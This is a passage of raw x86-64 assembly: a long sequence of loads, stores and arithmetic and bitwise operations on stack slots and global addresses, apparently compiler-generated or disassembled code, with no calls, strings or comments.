mov dword [rcx], eax
lea rax, [rsp + 0x4268]
mov qword [0x14019dea0], rax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov dword [rsp + 0x4c40], eax
mov rax, qword [rsp + 0xc6f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcb4]
or eax, ecx
mov word [rsp + 0x11e8], ax
mov rax, qword [0x14019dc68]
movzx eax, byte [rax]
mov byte [rsp + 0x270], al
movzx eax, word [rsp + 0xf70]
movzx ecx, word [rsp + 0x116c]
xor eax, ecx
mov word [rsp + 0xf24], ax
mov rax, qword [rsp + 0xb098]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22c]
sar eax, cl
mov rcx, qword [rsp + 0xb698]
mov byte [rcx], al
lea rax, [rsp + 0x473c]
mov qword [rsp + 0xcc30], rax
mov rax, qword [rsp + 0xbf00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4818]
shl eax, cl
mov dword [rsp + 0x3388], eax
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
mov word [rsp + 0x1330], ax
mov rax, qword [0x14019d9f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1b0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14019bfb2], al
mov rax, qword [rsp + 0xb2d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4790]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4860], eax
mov rax, qword [rsp + 0xa9a8]
mov ecx, dword [rsp + 0x4b64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c48], eax
lea rax, [rsp + 0x4bb4]
mov qword [rsp + 0xcc38], rax
mov rax, qword [rsp + 0xb118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c00]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb040]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab10]
movzx eax, word [rax]
mov word [rsp + 0x1334], ax
movzx eax, byte [0x14019d7e5]
mov rcx, qword [rsp + 0xbcb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x171], al
mov eax, dword [rsp + 0x4518]
mov dword [rsp + 0x4c44], eax
mov eax, dword [rsp + 0x4498]
mov ecx, dword [rsp + 0x4374]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4578], eax
movsx eax, byte [rsp + 0x1fa]
mov rcx, qword [rsp + 0xaa98]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d950]
mov byte [rcx], al
mov rax, qword [rsp + 0xc280]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf9c]
add eax, ecx
mov word [rsp + 0x11f4], ax
movzx eax, word [0x14019dae8]
mov word [rsp + 0x1338], ax
mov rax, qword [rsp + 0xcb20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb708]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x257], al
lea rax, [rsp + 0x4a04]
mov qword [rsp + 0xcc40], rax
mov rax, qword [rsp + 0xbc18]
mov rcx, qword [0x14019db98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4314], eax
mov rax, qword [rsp + 0xbb58]
mov rcx, qword [rsp + 0xa650]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbc68]
mov dword [rcx], eax
lea rax, [rsp + 0x4454]
mov qword [rsp + 0xcc48], rax
mov eax, dword [0x14019bf78]
mov rcx, qword [rsp + 0xadb0]
mov qword [rsp + 0xcc50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc50]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xbce0]
mov dword [rcx], eax
lea rax, [rsp + 0x255]
mov qword [rsp + 0xcc58], rax
mov rax, qword [rsp + 0xb320]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12fc]
sar eax, cl
mov word [0x14019c07c], ax
mov rax, qword [rsp + 0xb6a0]
mov rcx, qword [rsp + 0xb090]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc7a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48dc], eax
lea rax, [rsp + 0x43c4]
mov qword [rsp + 0xcc60], rax
mov rax, qword [0x14019dab8]
mov rcx, qword [rsp + 0xab50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb670]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x195]
mov byte [rsp + 0x271], al
movzx eax, word [rsp + 0xee4]
mov rcx, qword [rsp + 0xae20]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc3d0]
mov word [rcx], ax
lea rax, [0x14019bfa6]
mov qword [rsp + 0xcc68], rax
movsx eax, word [rsp + 0x12e0]
movsx ecx, word [rsp + 0xee0]
sub eax, ecx
mov rcx, qword [rsp + 0xc1a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3a8]
mov rcx, qword [rsp + 0xc100]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14019d8c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc930]
mov rcx, qword [rsp + 0xca68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49a0], eax
lea rax, [rsp + 0x10f0]
mov qword [rsp + 0xcc70], rax
mov rax, qword [rsp + 0xa540]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ea]
add eax, ecx
mov rcx, qword [rsp + 0xb778]
mov byte [rcx], al
mov rax, qword [rsp + 0xa598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
mov eax, dword [rsp + 0x4258]
mov ecx, dword [rsp + 0x4854]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44d0], eax
mov eax, dword [rsp + 0x4bcc]
mov ecx, dword [0x14019bf2c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d74], eax
mov eax, dword [rsp + 0x4950]
mov dword [rsp + 0x4c48], eax
movzx eax, word [rsp + 0xf54]
movzx ecx, word [rsp + 0x11e4]
shl eax, cl
mov rcx, qword [rsp + 0xb1c8]
mov word [rcx], ax
lea rax, [0x14019900a]
mov qword [0x14019dea8], rax
mov rax, qword [rsp + 0xba90]
mov eax, dword [rax]
mov dword [rsp + 0x4c4c], eax
mov rax, qword [rsp + 0xcaf0]
mov rcx, qword [rsp + 0xbed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb8a0]
mov dword [rcx], eax
mov rax, qword [0x14019dd48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb570]
mov qword [rsp + 0xcc78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc78]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xb248]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4810]
mov dword [rsp + 0x4c50], eax
mov rax, qword [rsp + 0xcb18]
mov ecx, dword [rsp + 0x498c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbe80]
mov dword [rcx], eax
movzx eax, byte [0x14019d796]
mov byte [rsp + 0x272], al
movsx eax, word [rsp + 0x12cc]
movsx ecx, word [rsp + 0xfdc]
add eax, ecx
mov word [rsp + 0xfa0], ax
mov rax, qword [rsp + 0xb9c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf10], ax
mov rax, qword [0x14019de38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb6f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bfaa], al
mov rax, qword [rsp + 0xacf8]
mov eax, dword [rax]
mov dword [rsp + 0x4c54], eax
mov rax, qword [rsp + 0xb9e0]
mov ecx, dword [rsp + 0x4274]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc5e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc848]
movzx eax, word [rax]
mov word [rsp + 0x133c], ax
mov rax, qword [rsp + 0xaf38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc5d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f7], al
mov eax, dword [rsp + 0x4300]
mov dword [rsp + 0x4c58], eax
mov rax, qword [rsp + 0xae98]
mov rcx, qword [rsp + 0xc708]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb2c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc9a0]
mov ecx, dword [rsp + 0x4378]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa858]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb400]
mov eax, dword [rax]
mov dword [rsp + 0x4c5c], eax
mov rax, qword [rsp + 0xbde8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb618]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019c080], ax
mov rax, qword [rsp + 0xbf18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa570]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc4a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb2b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa6a8]
mov qword [rsp + 0xcc80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc80]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3b38], eax
mov rax, qword [rsp + 0xaf00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4204]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbf08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa638]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc7d0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x233], al
movzx eax, word [0x14019db80]
mov word [rsp + 0x1340], ax
movzx eax, word [rsp + 0xf3c]
mov rcx, qword [rsp + 0xb690]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x126c], ax
lea rax, [rsp + 0x265]
mov qword [rsp + 0xcc88], rax
mov eax, dword [0x14019c038]
mov ecx, dword [rsp + 0x46e8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4494], eax
mov eax, dword [rsp + 0x4a9c]
mov ecx, dword [rsp + 0x4b60]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d828]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8f8]
mov ecx, dword [rsp + 0x3e4c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4368], eax
mov eax, dword [rsp + 0x48a8]
mov dword [rsp + 0x4c60], eax
mov rax, qword [rsp + 0xad20]
mov ecx, dword [rsp + 0x49c0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaf30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
mov byte [rsp + 0x273], al
movzx eax, word [rsp + 0x10cc]
movzx ecx, word [rsp + 0xb34]
sub eax, ecx
mov word [rsp + 0x11bc], ax
mov rax, qword [rsp + 0xa7a0]
mov eax, dword [rax]
mov dword [rsp + 0x4c64], eax
mov eax, dword [rsp + 0x49bc]
mov ecx, dword [rsp + 0x47cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc0d0]
mov dword [rcx], eax
mov rax, qword [0x14019da90]
mov ecx, dword [rsp + 0x3b74]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4660], eax
mov eax, dword [rsp + 0x4400]
mov dword [0x14019deb0], eax
mov rax, qword [rsp + 0xae28]
movzx eax, word [rax]
mov word [rsp + 0x1344], ax
mov rax, qword [rsp + 0xa930]
movzx eax, byte [rax]
mov rcx, qword [0x14019d880]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0xc948]
movzx eax, byte [rax]
mov byte [rsp + 0x274], al
mov rax, qword [rsp + 0xc438]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1034]
sub eax, ecx
mov rcx, qword [rsp + 0xc2b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4844]
shr eax, cl
mov dword [rsp + 0x4910], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov dword [rsp + 0x4c68], eax
movzx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0xbbf0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb428]
mov byte [rcx], al
mov rax, qword [rsp + 0xc498]
movzx eax, word [rax]
mov word [rsp + 0x1348], ax
mov eax, dword [rsp + 0x4640]
mov ecx, dword [rsp + 0x4500]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x14019dce8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41dc]
mov ecx, dword [rsp + 0x36e4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x42cc], eax
mov rax, qword [rsp + 0xa8a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46f4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc0b8]
mov dword [rcx], eax
lea rax, [rsp + 0x49c8]
mov qword [rsp + 0xcc90], rax
movzx eax, byte [rsp + 0x1ae]
movzx ecx, byte [rsp + 0x1a3]
and eax, ecx
mov rcx, qword [rsp + 0xc7c8]
mov byte [rcx], al
movzx eax, word [0x14019bff4]
movzx ecx, word [rsp + 0x120c]
sub eax, ecx
mov word [rsp + 0xbb8], ax
mov rax, qword [rsp + 0xc880]
mov rcx, qword [rsp + 0xc2a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc4a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8f8]
mov ecx, dword [0x14019c028]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb998]
mov dword [rcx], eax
lea rax, [rsp + 0x4b58]
mov qword [rsp + 0xcc98], rax
lea rax, [rsp + 0x4b24]
mov qword [0x14019deb8], rax
mov rax, qword [rsp + 0xbc88]
mov ecx, dword [rsp + 0x4688]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaa30]
mov dword [rcx], eax
lea rax, [rsp + 0x1270]
mov qword [rsp + 0xcca0], rax
mov rax, qword [rsp + 0xc8a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x17e]
add eax, ecx
mov byte [rsp + 0x22d], al
lea rax, [rsp + 0x1060]
mov qword [rsp + 0xcca8], rax
mov rax, qword [rsp + 0xc2a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a4]
sub eax, ecx
mov rcx, qword [rsp + 0xca28]
mov byte [rcx], al
mov rax, qword [rsp + 0xc898]
mov rcx, qword [rsp + 0xb468]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc2d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4a88]
mov dword [rsp + 0x4c6c], eax
mov rax, qword [rsp + 0xbee8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb7a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x12ac], ax
lea rax, [rsp + 0x21e]
mov qword [0x14019dec0], rax
lea rax, [rsp + 0x48bc]
mov qword [rsp + 0xccb0], rax
mov rax, qword [rsp + 0xabc8]
mov rcx, qword [0x14019dea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4c38], eax
mov rax, qword [rsp + 0xbb80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42f4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcbf0]
mov dword [rcx], eax
lea rax, [rsp + 0x4730]
mov qword [rsp + 0xccb8], rax
mov rax, qword [0x14019dc38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x253]
sar eax, cl
mov rcx, qword [rsp + 0xc7c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc670]
movzx eax, word [rax]
mov word [rsp + 0x134c], ax
mov rax, qword [rsp + 0xab58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb420]
mov qword [rsp + 0xccc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xccc0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa998]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4aa0]
mov ecx, dword [0x14019d8b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48e4], eax
mov rax, qword [rsp + 0xae88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11ac]
add eax, ecx
mov word [0x14019db80], ax
movzx eax, byte [rsp + 0x1b3]
mov byte [rsp + 0x275], al
movzx eax, word [rsp + 0xbec]
movzx ecx, word [rsp + 0xef4]
and eax, ecx
mov rcx, qword [rsp + 0xb690]
mov word [rcx], ax
lea rax, [rsp + 0x147]
mov qword [rsp + 0xccc8], rax
mov rax, qword [rsp + 0xb2c0]
mov rcx, qword [rsp + 0xbd08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3dd0], eax
mov rax, qword [rsp + 0xaf08]
mov eax, dword [rax]
mov ecx, dword [0x14019dd80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4460], eax
mov rax, qword [rsp + 0xcb18]
mov eax, dword [rax]
mov dword [rsp + 0x4c70], eax
mov eax, dword [rsp + 0x4438]
mov ecx, dword [rsp + 0x4b54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4950], eax
lea rax, [rsp + 0x4c5c]
mov qword [rsp + 0xccd0], rax
movzx eax, byte [rsp + 0x168]
movzx ecx, byte [rsp + 0x14f]
add eax, ecx
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1334]
mov rcx, qword [rsp + 0xbdd8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019bf7c], ax
lea rax, [rsp + 0x4a2c]
mov qword [rsp + 0xccd8], rax
mov rax, qword [rsp + 0xca68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc5a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb5c0]
mov rcx, qword [rsp + 0xc9a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44fc], eax
mov rax, qword [rsp + 0xccb0]
mov eax, dword [rax]
mov dword [rsp + 0x4c74], eax
mov rax, qword [rsp + 0xb1f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa6c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1024], ax
movzx eax, byte [rsp + 0x1f1]
mov byte [rsp + 0x276], al
movsx eax, byte [rsp + 0x22f]
mov rcx, qword [rsp + 0xb710]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x23e], al
movsx eax, word [rsp + 0x11f4]
movsx ecx, word [rsp + 0x1088]
xor eax, ecx
mov word [rsp + 0x1170], ax
mov rax, qword [rsp + 0xa870]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x33f0]
or ecx, eax
mov eax, ecx
mov dword [0x14019c084], eax
mov rax, qword [rsp + 0xc580]
mov eax, dword [rax]
mov dword [rsp + 0x4c78], eax
movzx eax, byte [rsp + 0x155]
movzx ecx, byte [rsp + 0x19b]
shl eax, cl
mov byte [rsp + 0x250], al
mov rax, qword [rsp + 0xb730]
movzx eax, word [rax]
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0xca38]
mov rcx, qword [rsp + 0xc618]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xcc60]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc768]
mov ecx, dword [rsp + 0x4b70]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc890]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae78]
mov ecx, dword [rsp + 0x3d74]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e8c], eax
mov rax, qword [rsp + 0xad30]
mov ecx, dword [rsp + 0x4884]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xaaf0]
mov dword [rcx], eax
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0xcce0], rax
mov rax, qword [rsp + 0xc9e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1260]
sub eax, ecx
mov rcx, qword [0x14019db90]
mov word [rcx], ax
mov rax, qword [rsp + 0xb858]
mov ecx, dword [rsp + 0x46fc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa708]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3bc8]
mov dword [rsp + 0x4c7c], eax
mov rax, qword [rsp + 0xb908]
mov rcx, qword [rsp + 0xc8d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4520], eax
mov rax, qword [rsp + 0xc5a8]
mov rcx, qword [rsp + 0xaf50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4984], eax
mov rax, qword [rsp + 0xabd0]
mov eax, dword [rax]
mov dword [rsp + 0x4c80], eax
mov rax, qword [rsp + 0xaed8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaa70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10ec], ax
mov rax, qword [rsp + 0xc2f8]
movzx eax, byte [rax]
mov byte [rsp + 0x277], al
mov rax, qword [rsp + 0xb840]
movzx eax, byte [rax]
mov rcx, qword [0x14019de50]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x22b], al
movzx eax, word [rsp + 0x1204]
mov rcx, qword [rsp + 0xb1f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019c088], ax
mov rax, qword [rsp + 0xb940]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcb88]
mov qword [rsp + 0xcce8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcce8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x43c0], eax
lea rax, [rsp + 0x3df8]
mov qword [rsp + 0xccf0], rax
mov rax, qword [rsp + 0xc288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf98]
xor eax, ecx
mov word [rsp + 0xf2c], ax
lea rax, [rsp + 0x17f]
mov qword [rsp + 0xccf8], rax
mov eax, dword [rsp + 0x4940]
mov ecx, dword [rsp + 0x4960]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4868], eax
mov eax, dword [rsp + 0x46cc]
mov ecx, dword [rsp + 0x4a10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x35ac], eax
mov eax, dword [rsp + 0x465c]
mov dword [rsp + 0x4c84], eax
mov rax, qword [rsp + 0xab30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4858]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcc28]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
mov word [0x14019dec8], ax
lea rax, [rsp + 0x179]
mov qword [rsp + 0xcd00], rax
mov rax, qword [rsp + 0xc7a8]
mov rcx, qword [0x14019d888]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f80], eax
mov eax, dword [rsp + 0x4bc8]
mov ecx, dword [rsp + 0x41d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4260], eax
mov rax, qword [rsp + 0xa620]
movzx eax, byte [rax]
mov byte [rsp + 0x278], al
mov rax, qword [rsp + 0xa578]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb890]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe88], ax
movzx eax, word [rsp + 0x131c]
mov word [rsp + 0x1354], ax
mov rax, qword [rsp + 0xbcb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x168]
add eax, ecx
mov rcx, qword [rsp + 0xb5d0]
mov byte [rcx], al
lea rax, [rsp + 0x454c]
mov qword [rsp + 0xcd08], rax
mov eax, dword [rsp + 0x4240]
mov ecx, dword [0x14019daec]
sub ecx, eax
mov eax, ecx
mov dword [0x14019c000], eax
mov rax, qword [rsp + 0xb4c0]
mov ecx, dword [rsp + 0x46f4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8c8]
mov rcx, qword [rsp + 0xaba0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42b4], eax
mov rax, qword [rsp + 0xc6e8]
mov eax, dword [rax]
mov dword [rsp + 0x4c88], eax
mov rax, qword [rsp + 0xb7a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1280]
or eax, ecx
mov word [rsp + 0x10a4], ax
movzx eax, byte [rsp + 0x207]
mov byte [rsp + 0x279], al
mov eax, dword [rsp + 0x446c]
mov rcx, qword [rsp + 0xb918]
mov qword [rsp + 0xcd10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd10]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x48c4], eax
mov eax, dword [rsp + 0x4228]
movzx ecx, al
mov eax, dword [rsp + 0x4514]
shr eax, cl
mov rcx, qword [rsp + 0xc1a8]
mov dword [rcx], eax
mov eax, dword [0x14019bf4c]
mov dword [rsp + 0x4c8c], eax
mov rax, qword [rsp + 0xc270]
mov ecx, dword [rsp + 0x45bc]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019c08c], eax
mov rax, qword [rsp + 0xaeb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1da]
and eax, ecx
mov rcx, qword [rsp + 0xc8f8]
mov byte [rcx], al
lea rax, [rsp + 0xf4c]
mov qword [rsp + 0xcd18], rax
mov rax, qword [rsp + 0xb500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xafa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0xc388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xac8]
sub eax, ecx
mov rcx, qword [rsp + 0xb6c8]
mov word [rcx], ax
lea rax, [0x14019d840]
mov qword [rsp + 0xcd20], rax
mov rax, qword [rsp + 0xca20]
mov ecx, dword [rsp + 0x4660]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4600], eax
movzx eax, word [rsp + 0x1354]
movzx ecx, word [0x14019de20]
add eax, ecx
mov word [rsp + 0xbfc], ax
movzx eax, byte [rsp + 0x244]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa780]
mov byte [rcx], al
mov rax, qword [rsp + 0xcc98]
mov ecx, dword [rsp + 0x3850]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14019dcd8]
mov dword [rcx], eax
lea rax, [rsp + 0x4184]
mov qword [rsp + 0xcd28], rax
mov eax, dword [rsp + 0x49f8]
mov ecx, dword [rsp + 0x44dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4788], eax
mov rax, qword [rsp + 0xcb78]
mov rcx, qword [rsp + 0xcc98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbd70]
mov dword [rcx], eax
lea rax, [0x14019dae8]
mov qword [rsp + 0xcd30], rax
mov rax, qword [rsp + 0xc1b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc788]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcc10]
mov byte [rcx], al
lea rax, [rsp + 0x4a44]
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xbba0]
mov ecx, dword [0x14019deb0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc510]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4730]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a90], eax
mov rax, qword [0x14019d930]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa8f8]
mov qword [rsp + 0xcd40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd40]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14019c090], eax
mov rax, qword [rsp + 0xc168]
mov eax, dword [rax]
mov dword [rsp + 0x4c90], eax
mov rax, qword [rsp + 0xbea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc858]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa9e0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1240]
mov word [rsp + 0x1358], ax
movzx eax, byte [rsp + 0x161]
mov rcx, qword [rsp + 0xa958]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaa28]
mov byte [rcx], al
mov rax, qword [rsp + 0xb600]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1288]
add eax, ecx
mov word [rsp + 0x128c], ax
mov rax, qword [rsp + 0xb8f0]
mov eax, dword [rax]
